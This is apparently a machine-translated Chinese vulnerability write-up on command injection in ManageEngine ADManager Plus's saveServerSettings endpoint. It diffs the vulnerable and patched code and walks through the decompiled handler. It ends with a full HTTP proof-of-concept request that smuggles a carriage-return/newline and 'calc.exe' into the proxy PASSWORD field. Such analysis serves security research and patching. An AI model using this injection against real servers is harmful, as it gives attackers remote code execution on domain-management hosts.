该特定缺陷存在于ChangePasswordAction函数中。此问题是由于在使用用户提供的字符串执行系统调用之前,没有对该字符串进行正确的验证而导致的。攻击者可以利用此漏洞在服务帐户的上下文中执行代码。
该漏洞在7181版本已经修复,所以我使用ManageEngine ADManager Plus 7180和7181 2个版本进行分析。中下载它们 您可以从ManageEngine 的档案 7181 版本仅更改了一行,它是 proxyCommand多变的
在易受攻击的版本中
proxyCommand = proxyCommand + "reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyUser /t REG_SZ /d " + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("USER_NAME")) + ";reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyPass /t REG_SZ /d " + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("PASSWORD"));在补丁版本中
proxyCommand = proxyCommand + "$username=\"" + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("USER_NAME")) + "\"; $password=\"" + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("PASSWORD")) + "\"; reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyUser /t REG_SZ /d $username; reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyPass /t REG_SZ /d $password";该变量用于 saveServerSettings的功能 ChangePasswordAction class
由于 webapps/adsm/WEB-INF/security/security.xml, 这个函数可以从 /api/json/admin/saveServerSettings端点
因此,调用saveServerSettings的请求如下所示
POST /api/json/admin/saveServerSettings HTTP/1.1Host: 10.10.10.99:8080Content-Length: 199Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://10.10.10.99:8080Referer: http://10.10.10.99:8080/Accept-Encoding: gzip, deflateAccept-Language: en,en-US;q=0.9Cookie: Account=Administrator; Challenge=2481f9e4334129e05efa9552803367b9; RememberLogin=false; ChangeKey=2023-02-03%2011%3A48%3A20; ChallengeValue=%25u53F0%25u9054%25u96FB%25u5B5049887487802326272827252728222527222528142725262614284229331428422725; InfraSuite-Manager_SystemLang=Lng-EnglishTagList; AllViewLayoutWestisClosed=false; AllViewLayoutWestSize=250; AllViewLayoutPlaneSouthisClosed=false; AllViewLayoutPlaneSouthSize=320; AllViewLayoutDeviceSouthisClosed=true; AllViewLayoutDeviceSouthSize=150; AllViewLayoutSouthisClosed=false; AllViewLayoutSouthSize=90; InfraSuiteManagerLoginMode=1; WebTitle=DIAEnergie; _lang=en-us; token=eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJBY2NvdW50Ijoicm9vdCIsIkV4cCI6IlwvRGF0ZSgxNjgxNDY3MzUzMzEzKVwvIn0.bbQl6FHFEC1DjxC3SytEMePignjyaOElwPmBGVo4DDemYGMErpTlY_umvQux7IzKmneMxq2oudxEz3nxIDx8Ww; JSESSIONID=x11OrR-gBjEf2_qDoPEEeH0t9yeRWWIebWHbInslbsRbxPlaxsO-!1249488777; admpcsrf=cd69dbc4-b07c-489e-9408-fe5324b0919f; _zcsr_tmp=cd69dbc4-b07c-489e-9408-fe5324b0919f; JSESSIONIDADMP=97816D5CEBAADAC4A931F54B07CCD581; JSESSIONIDADSMSSO=FFA1CBA0FB38058DAB76EF485FC5C907Connection: closeadmpcsrf=cd69dbc4-b07c-489e-9408-fe5324b0919f¶ms=PAYLOAD
让我们构建 params获得RCE。
public void saveServerSettings(HttpServletRequest request, HttpServletResponse response) throws Exception {JSONObject responseObj = new JSONObject();boolean error = false;String errorMessage = "";try {//////#1 if (!ClientAuthorizationUtil.isAuthorized(request, AdminConfigConstants.SERVER_ACTION_ID)) {responseObj.put("isAuthorized", false);} else {HttpSession session = request.getSession();Long loginId = (Long)session.getAttribute("ADMP_SESSION_LOGIN_ID");#2 JSONArray params = new JSONArray(request.getParameter("params"));JSONObject mailPropJson = new JSONObject();#3 for(int i = 0; i < params.length(); ++i) {JSONObject tab = (JSONObject)params.get(i);String tabId = tab.get("tabId").toString();boolean enableProxy;boolean currLicenseExpiry;String username;boolean oldStateDownTime;String port;boolean currEventNotif;if (tabId.equalsIgnoreCase("mail")) {//////}JSONObject retentionDetails;JSONObject maintainDBdetails;String serverName;if (tabId.equalsIgnoreCase("notify")) {//////}JSONObject archiveRetention;if (tabId.equalsIgnoreCase("retention")) {//////}if (tabId.equalsIgnoreCase("sms")) {//////}#4 if (tabId.equalsIgnoreCase("proxy")) {enableProxy = tab.getBoolean("ENABLE_PROXY");archiveRetention = ProxyHandler.getProxySettings();String existingServerName = archiveRetention.optString("SERVER_NAME", "");String existingPort = archiveRetention.optString("PORT", "");String existingUserName = archiveRetention.optString("USER_NAME", "");String password;#5 if (enableProxy) {username = tab.optString("USER_NAME", "");password = tab.optString("PASSWORD", "");serverName = tab.optString("SERVER_NAME", "");port = tab.optString("PORT", "");if (!existingServerName.equals(serverName) || !existingPort.equals(port) || !existingUserName.equals(username) || !password.isEmpty()) {try {JSONObject proxySettings = new JSONObject();proxySettings.put("SERVER_NAME", serverName);proxySettings.put("PORT", port);proxySettings.put("USER_NAME", username);proxySettings.put("PASSWORD", password);#6 ProxyHandler.testConnection(proxySettings);ProxyHandler.setProxySettings(proxySettings, new boolean[0]);this.setProxySystemProperties(proxySettings);NativeException ne = new NativeException();String proxyCommand = "reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /v AutoDetect /t REG_DWORD /d 0 /f;reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyEnable /t REG_DWORD /d 1;reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyServer /t REG_SZ /d " + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("SERVER_NAME")) + ":" + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("PORT")) + ";";if (!proxySettings.getString("USER_NAME").isEmpty() && !proxySettings.getString("PASSWORD").isEmpty()) {#7 proxyCommand = proxyCommand + "reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyUser /t REG_SZ /d " + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("USER_NAME")) + ";reg add 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' /f /v ProxyPass /t REG_SZ /d " + CommonUtil.getPowerShellEscapedValue(proxySettings.getString("PASSWORD"));}#8 PSNativeHandler.execPSCommand(proxyCommand, ne);if (ne.getErrorMessage() != null) {throw new Exception(ne.getErrorMessage().toString());}PSNativeHandler.proxyConfigured = true;savedSettings.add(rb.getString("admp.admin.server_settings.proxy_settings.tab_name"));} catch (NumberFormatException var35) {//////}}} else if (!existingServerName.isEmpty()) {//////}}}//////}} catch (Exception var41) {//////}response.setContentType("application/json");PrintWriter writer = response.getWriter();writer.print(responseObj.toString());writer.close();}
在#1 中,服务器检查用户是否通过身份验证。
在 #2 中,后端解析 params参数到 json 数组,并从 #3 转到它的每个元素
由于#4,元素必须有属性 tabId有价值 proxy
由于#5,元素必须有属性 ENABLE_PROXY有价值 true
在 #6 中,服务器尝试使用由 SERVER_NAME和 PORT来自元素,如果代理使用身份验证,服务器将使用来自 USER_NAME和 PASSWORD. 如果无法连接到代理,服务器将返回错误。
在 #7 中, proxyCommand附加由构造的命令 USER_NAME和 PASSWORD这个命令将在 #8 中执行
所以我们的 RCE payload 应该被注入 USER_NAME或者 PASSWORD. ADManager使用CommonUtil.getPowerShellEscapedValue逃避我们的所有特殊字符 USER_NAME和 PASSWORD
看到它不过滤 CRLF 字符,也许我们可以用它来结束命令并执行另一个? 正如所料,我尝试了 %0d%0a但它没有用,但是 \r\n做过。
我们执行传奇的最终有效载荷 calc(记得改自己的proxy)
POST /api/json/admin/saveServerSettings HTTP/1.1Host: 10.10.10.99:8080Content-Length: 183Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://10.10.10.99:8080Referer: http://10.10.10.99:8080/Accept-Encoding: gzip, deflateAccept-Language: en,en-US;q=0.9Cookie: Account=Administrator; Challenge=2481f9e4334129e05efa9552803367b9; RememberLogin=false; ChangeKey=2023-02-03%2011%3A48%3A20; ChallengeValue=%25u53F0%25u9054%25u96FB%25u5B5049887487802326272827252728222527222528142725262614284229331428422725; InfraSuite-Manager_SystemLang=Lng-EnglishTagList; AllViewLayoutWestisClosed=false; AllViewLayoutWestSize=250; AllViewLayoutPlaneSouthisClosed=false; AllViewLayoutPlaneSouthSize=320; AllViewLayoutDeviceSouthisClosed=true; AllViewLayoutDeviceSouthSize=150; AllViewLayoutSouthisClosed=false; AllViewLayoutSouthSize=90; InfraSuiteManagerLoginMode=1; WebTitle=DIAEnergie; _lang=en-us; token=eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJBY2NvdW50Ijoicm9vdCIsIkV4cCI6IlwvRGF0ZSgxNjgxNDY3MzUzMzEzKVwvIn0.bbQl6FHFEC1DjxC3SytEMePignjyaOElwPmBGVo4DDemYGMErpTlY_umvQux7IzKmneMxq2oudxEz3nxIDx8Ww; JSESSIONID=x11OrR-gBjEf2_qDoPEEeH0t9yeRWWIebWHbInslbsRbxPlaxsO-!1249488777; admpcsrf=cd69dbc4-b07c-489e-9408-fe5324b0919f; _zcsr_tmp=cd69dbc4-b07c-489e-9408-fe5324b0919f; JSESSIONIDADMP=204AD137BC0B510B3FCF03F2155D149D; JSESSIONIDADSMSSO=08C9CDA73E5D21D9A33AADEADB86C650Connection: closeadmpcsrf=cd69dbc4-b07c-489e-9408-fe5324b0919f¶ms=[{"tabId":"proxy","ENABLE_PROXY":true,"SERVER_NAME":"localhost","USER_NAME":"hoangnd","PASSWORD":"asd\r\ncalc.exe","PORT":"8080"}]
团队承接以下业务,详情咨询扫描二维码添加好友。
扫描二维码添加好友,一起交流学习。